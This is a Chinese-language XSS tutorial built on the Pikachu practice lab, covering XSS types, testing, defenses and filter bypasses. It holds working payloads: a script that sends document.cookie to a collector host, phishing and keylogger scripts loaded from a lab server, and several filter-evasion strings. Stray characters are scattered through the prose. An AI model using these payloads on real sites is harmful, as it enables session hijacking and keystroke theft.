XSS跨站腳本攻擊

一叼屠、什么是 XSS?

XSS全稱(Cross Site Scripting)跨站腳本攻擊港庄,是最常見的Web應(yīng)用程序安全漏洞之一欢搜,位于OWASP top 10 2013/2017年度分別為第三名和第七名牛曹,XSS是指攻擊者在網(wǎng)頁中嵌入客戶端腳本,通常是JavaScript編寫的危險(xiǎn)代碼株依,當(dāng)用戶使用瀏覽器瀏覽網(wǎng)頁時(shí)驱证,腳本就會(huì)在用戶的瀏覽器上執(zhí)行延窜,從而達(dá)到攻擊者的目的恋腕。 從上面中的一段話,可以得知逆瑞,XSS屬于客戶端攻擊荠藤,受害者最終是用戶,但特別要注意的是網(wǎng)站管理人員也屬于用戶之一获高。這就意味著XSS可以進(jìn)行“服務(wù)端”攻擊哈肖,因?yàn)楣芾韱T要比普通用戶的權(quán)限大得多,一般管理員都可以對(duì)網(wǎng)站進(jìn)行文件管理念秧,數(shù)據(jù)管理等操作淤井,而攻擊者一般也是靠管理員身份作為“跳板”進(jìn)行實(shí)施攻擊。 XSS攻擊最終目的是在網(wǎng)頁中嵌入客戶端惡意腳本代碼摊趾,最常用的攻擊代碼是javascript語言币狠,但也會(huì)使用其它的腳本語言,例如:ActionScript砾层、VBscript漩绵。而如今的互聯(lián)網(wǎng)客戶端腳本基本是基于Javascript,所以如果想要深入研究XSS,必須要精通Javascript肛炮。 XSS換句話說止吐,JavaScript能做到什么效果,XSS的胃口就有多大侨糟。這完全不是危言聳聽碍扔。javascript可以用來獲取用戶的cookie,彈出窗口秕重,那么存在XSS漏洞的網(wǎng)站不同,XSS就可以用來盜取用戶Cookie,廢掉頁面,導(dǎo)航到惡意網(wǎng)站悲幅!更高端的XSS代碼完全可以進(jìn)行監(jiān)控你的鍵盤操作套鹅,模仿Windows注銷界面站蝠,誘導(dǎo)你輸入開機(jī)密碼!而攻擊者需要做的僅僅是向你的代碼中注入Javascript代碼卓鹿!?

二菱魔、XSS漏洞出現(xiàn)的原因

程序?qū)斎牒洼敵龅目刂撇粔驀?yán)格,導(dǎo)致"精心構(gòu)造“的腳本輸入后,在輸?shù)角岸藭r(shí)被瀏覽器當(dāng)作有效代碼解析執(zhí)行從而產(chǎn)生危害吟孙。??

三澜倦、XSS的危害

1、首先對(duì)于那些半年沒有更新的小企業(yè)網(wǎng)站來說杰妓,發(fā)生XSS漏洞幾乎沒有什么用藻治。一般在各類的社交平臺(tái),郵件系統(tǒng)巷挥,開源流行的Web應(yīng)用桩卵,BBS,微博等場(chǎng)景中倍宾,造成的殺傷力卻十分強(qiáng)大雏节。

?2、劫持用戶cookie是最常見的跨站攻擊形式高职,通過在網(wǎng)頁中寫入并執(zhí)行腳本執(zhí)行文件(多數(shù)情況下是JavaScript腳本代碼)钩乍,劫持用戶瀏覽器,將用戶當(dāng)前使用的sessionID信息發(fā)送至攻擊者控制的網(wǎng)站或服務(wù)器中怔锌。

?3寥粹、“框架釣魚”。利用JS腳本的基本功能之一:操作網(wǎng)頁中的DOM樹結(jié)構(gòu)和內(nèi)容埃元,在網(wǎng)頁中通過JS腳本涝涤,生成虛假的頁面,欺騙用戶執(zhí)行操作亚情,而用戶所有的輸入內(nèi)容都會(huì)被發(fā)送到攻擊者的服務(wù)器上妄痪。

?4、掛馬(水坑攻擊)?

?5楞件、有局限性的鍵盤記錄衫生。

四、 XSS分類?

?1土浸、反射型XSS或不持久型XSS(中危) 交互的數(shù)據(jù)一般不會(huì)被存在在數(shù)據(jù)庫里面,只是簡(jiǎn)單的把用戶輸入的數(shù)據(jù)反射給瀏覽器罪针,一次性,所見即所得黄伊。 <?php $name = $_GET['name']; echo "Welcome $name<br>"; ?>?

?2泪酱、儲(chǔ)存型XSS 或持久型 XSS(高危) 交互的數(shù)據(jù)會(huì)被存在在數(shù)據(jù)庫里面,永久性存儲(chǔ),具有很強(qiáng)的穩(wěn)定性。

?3、DOM XSS 不與后臺(tái)服務(wù)器產(chǎn)生數(shù)據(jù)交互,通過前端的dom節(jié)點(diǎn)形成的XSS漏洞墓阀。 什么是DOM:DOM全稱是Document Object Model毡惜,也就是文檔對(duì)象模型。我們可以將DOM理解為斯撮,一個(gè)與系統(tǒng)平臺(tái)和編程語言無關(guān)的接口经伙,程序和腳本可以通過這個(gè)接口動(dòng)態(tài)地訪問和修改文檔內(nèi)容、結(jié)構(gòu)和樣式勿锅。當(dāng)創(chuàng)建好一個(gè)頁面并加載到瀏覽器時(shí)帕膜,DOM就悄然而生,它會(huì)把網(wǎng)頁文檔轉(zhuǎn)換為一個(gè)文檔對(duì)象溢十,主要功能是處理網(wǎng)頁內(nèi)容垮刹。故可以使用 Javascript 語言來操作DOM以達(dá)到網(wǎng)頁的目的。 http://www.w3school.com.cn/htmldom/index.asp <a href='"+str+"'>what do you see?</a> <a href='#' onclick="alert(1111)">what do you see?</a> <a href='#' onclick="alert(2222)">what do you see?</a>

?五张弛、XSS可能存在的地方

(參考xss跨站腳本攻擊文檔) HTML context Attribute Context URL Context Style Context Script Context?

?六荒典、XSS測(cè)試方法

?1、工具掃描:APPscan乌庶、AWVS?

?2种蝶、手工測(cè)試:Burpsuite、firefox(hackbar)瞒大、XSSER XSSF 使用手工檢測(cè)Web應(yīng)用程序是否存在XSS漏洞時(shí),最重要的是考慮那里有輸入搪桂,輸入的數(shù)據(jù)在什么地方輸出透敌。在進(jìn)行手工檢測(cè)XSS時(shí),人畢竟不像軟件那樣不知疲憊踢械,所以一定要選擇有特殊意義的字符酗电,這樣可以快速測(cè)試是否存在XSS。 ?

(1)在目標(biāo)站點(diǎn)上找到輸入點(diǎn)内列,比如查詢接口撵术,留言板等;

(2)輸入一組"特殊字符+唯一識(shí)別字符"话瞧,點(diǎn)擊提交后嫩与,查看返回的源碼,是否有做對(duì)應(yīng)的處理;

(3)通過搜索定位到唯一字符,結(jié)合唯一字符前后語法確認(rèn)是否可以構(gòu)造執(zhí)行js的條件(構(gòu)造閉合);提交構(gòu)造的腳本代碼交排,看是否可以成功執(zhí)行划滋,如果成功執(zhí)行則說明存在XSS漏洞;

?七埃篓、實(shí)戰(zhàn)?

1处坪、xss平臺(tái)搭建及后臺(tái)使用(cookie獲取) '"><script>document.location = 'http://192.168.0.107/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script> //通過document.location 實(shí)例進(jìn)行重定向到http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=?

2、反射型XSS(POST)獲取用戶密碼 post攻擊利用頁面 D:\phpStudy\WWW\pikachu\pkxss\xcookie\post.html http://192.168.0.103:8080/post.html

3同窘、xss釣魚演示 釣魚攻擊利用頁面 D:\phpStudy\WWW\pikachu\pkxss\xfish <script src="http://192.168.0.107/pikachu/pkxss/xfish/fish.php"></script>?

?4玄帕、xss獲取鍵盤記錄演示?

(1)、什么是跨域 http:// www. oldboyedu.com :80 / news/index.php 協(xié)議 子域名 主域名 端口 資源地址 當(dāng)協(xié)議想邦、主機(jī)(主域名桨仿,子域名)、端口中的任意一個(gè)不相同時(shí)案狠,稱為不同域服傍。我們把不同的域之間請(qǐng)求數(shù)據(jù)的操作,成為跨域操作骂铁。

(2)吹零、同源策略 為了安全考慮,所有瀏覽器都約定了“同源策略”拉庵,同源策略禁止頁面加載或執(zhí)行與自身來源不同的域的任何腳本既不同域之間不能使用JS進(jìn)行操作灿椅。比如:x.com域名下的js不能操作y.com域名下的對(duì)象 那么為什么要有同源策略? 比如一個(gè)惡意網(wǎng)站的頁面通過js嵌入了銀行的登錄頁面(二者不同源)钞支,如果沒有同源限制茫蛹,惡意網(wǎng)頁上的javascript腳本就可以在用戶登錄銀行的時(shí)候獲取用戶名和密碼。 Tips:下面這些標(biāo)簽跨域加載資源(資源類型是有限止的)是不受同源策略限制的 <script src="..."> //加載本地js執(zhí)行 <img src="..."> //圖片 <link href="..."> //css <iframe src="..."> //任意資源?

(3)烁挟、同源策略修改 D:\phpStudy\WWW\pikachu\pkxss\rkeypress\rkserver.php 同之前的案例到后臺(tái)設(shè)置好Access-Control-Allow-Origin婴洼,設(shè)置為*,既允許所有人訪問撼嗓。

(4)rk.js關(guān)鍵代碼解讀 var realkey = String.fromCharCode(event.keyCode); //獲取用戶鍵盤記錄柬采,最后轉(zhuǎn)化為字符串 xl+=realkey; //賦值給x1 show(); //調(diào)用show涵數(shù),通過下面ajax進(jìn)行post發(fā)送鍵盤記錄人內(nèi)容 輸入設(shè)置好的惡意JS代碼: <script src="http://192.168.0.101/pikachu/pkxss/rkeypress/rk.js"></script>然后在鍵盤上隨意輸入且警,就可以到xss平臺(tái)上去查看鍵盤輸入的結(jié)果粉捻。

?5.XSS盲打?

?XSS盲打就是攻擊者在前端提交的數(shù)據(jù)不知道后臺(tái)是否存在xss漏洞的情況下,提交惡意JS代碼在類似留言板等輸入框后斑芜,所展現(xiàn)的后臺(tái)位置的情況下肩刃,網(wǎng)站采用了攻擊者插入的惡意代碼,當(dāng)后臺(tái)管理員在操作時(shí)就會(huì)觸發(fā)插入的惡意代碼杏头,從而達(dá)到攻擊者的目的盈包。 管理員后臺(tái): http://http://192.168.0.101/pikachu/vul/xss/xssblind/admin_login.php?

?八、XSS繞過

大多數(shù)網(wǎng)站為了避免xss的攻擊大州,對(duì)于攻擊者的輸入都采取了過濾的措施续语,導(dǎo)致攻擊者通常不能正常插入惡意代碼來達(dá)到攻擊目的。但是仍存在一些漏洞可以利用厦画,來繞過過濾措施疮茄。 xss繞過的方法有許多滥朱,主要取決于攻擊者的思路和對(duì)前端技術(shù)的掌握,以下介紹幾個(gè)簡(jiǎn)單的繞過方法力试。 ?

(1)對(duì)前端的限制可以嘗試進(jìn)行抓包重發(fā)或者修改前端的HTML徙邻。

(2)防止后臺(tái)對(duì)輸入的內(nèi)容進(jìn)行正則匹配來過濾輸入,對(duì)于這樣的過濾可以考慮大小寫混合輸入的方法畸裳。 例:<sCRipT>alert('你打籃球像oldboy')</sCrIPt>?

(3)防止后臺(tái)對(duì)輸入的內(nèi)容進(jìn)行替換缰犁,采用拼拼湊的輸入方法。 例:<sc<script>ript>alert('你打籃球像oldboy')</scr<script>ipt>?

(4)使用注釋來干擾后臺(tái)對(duì)輸入內(nèi)容的識(shí)別怖糊。 例:<sc<!--test-->ript>alert('你打籃球像oldboy')</scr<!--tshauie-->ipt>?

(5)編碼 思路:后臺(tái)有可能會(huì)對(duì)代碼中的關(guān)鍵字進(jìn)行過濾帅容,但我們可以嘗試將關(guān)鍵字進(jìn)行編碼后在插入,瀏覽器對(duì)改編碼進(jìn)行識(shí)別時(shí)伍伤,會(huì)翻譯成正常的代碼并徘。(注意:編碼在輸出時(shí)是否會(huì)被正常識(shí)別和翻譯才是關(guān)鍵,不是所有的編碼都是可以的) 例:使用事件屬性onerror(): <img src=# onerror="alert('oldboy')"/> 使用HTML進(jìn)行編碼: <img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#121;&#97;&#110;&#103;&#115;&#104;&#117;&#97;&#110;&#103;&#39;&#41;"/>

?九扰魂、XSS繞過之htmlspecialchars()函數(shù)?

htmlspecialchars()函數(shù)把一些預(yù)定義的字符轉(zhuǎn)換為 HTML 實(shí)體麦乞。 預(yù)定義的字符是: & (和號(hào))成為 &amp " (雙引號(hào))成為 &quot ’ (單引號(hào))成為&#039 < (小于)成為 &lt >(大于)成為 &gt 該函數(shù)的語法:htmlspecialchars(string,flags,character-set,double_encode) 過濾原理:htmlspecialchars() 函數(shù)把預(yù)定義的字符轉(zhuǎn)換為 HTML 實(shí)體,從而使XSS攻擊失效劝评。但是這個(gè)函數(shù)默認(rèn)配置不會(huì)將單引號(hào)和雙引號(hào)過濾姐直,只有設(shè)置了quotestyle規(guī)定如何編碼單引號(hào)和雙引號(hào)才能會(huì)過濾掉單引號(hào) 可用的quotestyle類型: ENT_COMPAT - 默認(rèn)。僅編碼雙引號(hào) ENT_QUOTES - 編碼雙引號(hào)和單引號(hào) ENT_NOQUOTES - 不編碼任何引號(hào) 可使用以下語句繞過: q' onclick='alert(111)'?

?十蒋畜、XSS常規(guī)防范

?XSS防御的總體思路是:

對(duì)輸入進(jìn)行過濾声畏,對(duì)輸出進(jìn)行編碼過濾:

根據(jù)業(yè)務(wù)需求進(jìn)行過濾,比如輸出點(diǎn)要求輸入手機(jī)號(hào)百侧,則只允許輸入手機(jī)號(hào)格式的數(shù)字砰识。?

轉(zhuǎn)義:所有輸出到前端的數(shù)據(jù)都根據(jù)輸出點(diǎn)進(jìn)行轉(zhuǎn)義,比如輸出到html中進(jìn)行html實(shí)體轉(zhuǎn)義佣渴,輸入到JS里面的進(jìn)行JS轉(zhuǎn)義(\)

?xss之href輸出繞過:javascript:alert(1111) 直接代入a標(biāo)簽herf里面一樣可以繞過htmlspecialchars xss之js輸出繞過: <script> $ms='11'</script><script>alert(1111)</script> ; if($ms.length != 0){ if($ms == 'tmac'){ $('#fromjs').text('tmac確實(shí)厲害,看那小眼神..') }else { // alert($ms); $('#fromjs').text('無論如何不要放棄心中所愛..') } } </script>

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市初斑,隨后出現(xiàn)的幾起案子鲜侥,更是在濱河造成了極大的恐慌蛛砰,老刑警劉巖,帶你破解...
    沈念sama閱讀 217,185評(píng)論 6 503
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異歉摧,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)蜕衡,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,652評(píng)論 3 393
  • 文/潘曉璐 我一進(jìn)店門李滴,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人测摔,你說我怎么就攤上這事置济〗馇。” “怎么了?”我有些...
    開封第一講書人閱讀 163,524評(píng)論 0 353
  • 文/不壞的土叔 我叫張陵浙于,是天一觀的道長护盈。 經(jīng)常有香客問我,道長羞酗,這世上最難降的妖魔是什么腐宋? 我笑而不...
    開封第一講書人閱讀 58,339評(píng)論 1 293
  • 正文 為了忘掉前任,我火速辦了婚禮檀轨,結(jié)果婚禮上胸竞,老公的妹妹穿的比我還像新娘。我一直安慰自己参萄,他們只是感情好卫枝,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,387評(píng)論 6 391
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著拧揽,像睡著了一般剃盾。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上淤袜,一...
    開封第一講書人閱讀 51,287評(píng)論 1 301
  • 那天痒谴,我揣著相機(jī)與錄音,去河邊找鬼铡羡。 笑死积蔚,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的烦周。 我是一名探鬼主播尽爆,決...
    沈念sama閱讀 40,130評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼读慎!你這毒婦竟也來了漱贱?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 38,985評(píng)論 0 275
  • 序言:老撾萬榮一對(duì)情侶失蹤夭委,失蹤者是張志新(化名)和其女友劉穎幅狮,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體株灸,經(jīng)...
    沈念sama閱讀 45,420評(píng)論 1 313
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡崇摄,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,617評(píng)論 3 334
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了慌烧。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片逐抑。...
    茶點(diǎn)故事閱讀 39,779評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖屹蚊,靈堂內(nèi)的尸體忽然破棺而出厕氨,到底是詐尸還是另有隱情进每,我是刑警寧澤,帶...
    沈念sama閱讀 35,477評(píng)論 5 345
  • 正文 年R本政府宣布腐巢,位于F島的核電站品追,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏冯丙。R本人自食惡果不足惜肉瓦,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,088評(píng)論 3 328
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望胃惜。 院中可真熱鬧泞莉,春花似錦、人聲如沸船殉。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,716評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽利虫。三九已至挨厚,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間糠惫,已是汗流浹背疫剃。 一陣腳步聲響...
    開封第一講書人閱讀 32,857評(píng)論 1 269
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留硼讽,地道東北人巢价。 一個(gè)月前我還...
    沈念sama閱讀 47,876評(píng)論 2 370
  • 正文 我出身青樓,卻偏偏與公主長得像固阁,于是被迫代替她去往敵國和親壤躲。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,700評(píng)論 2 354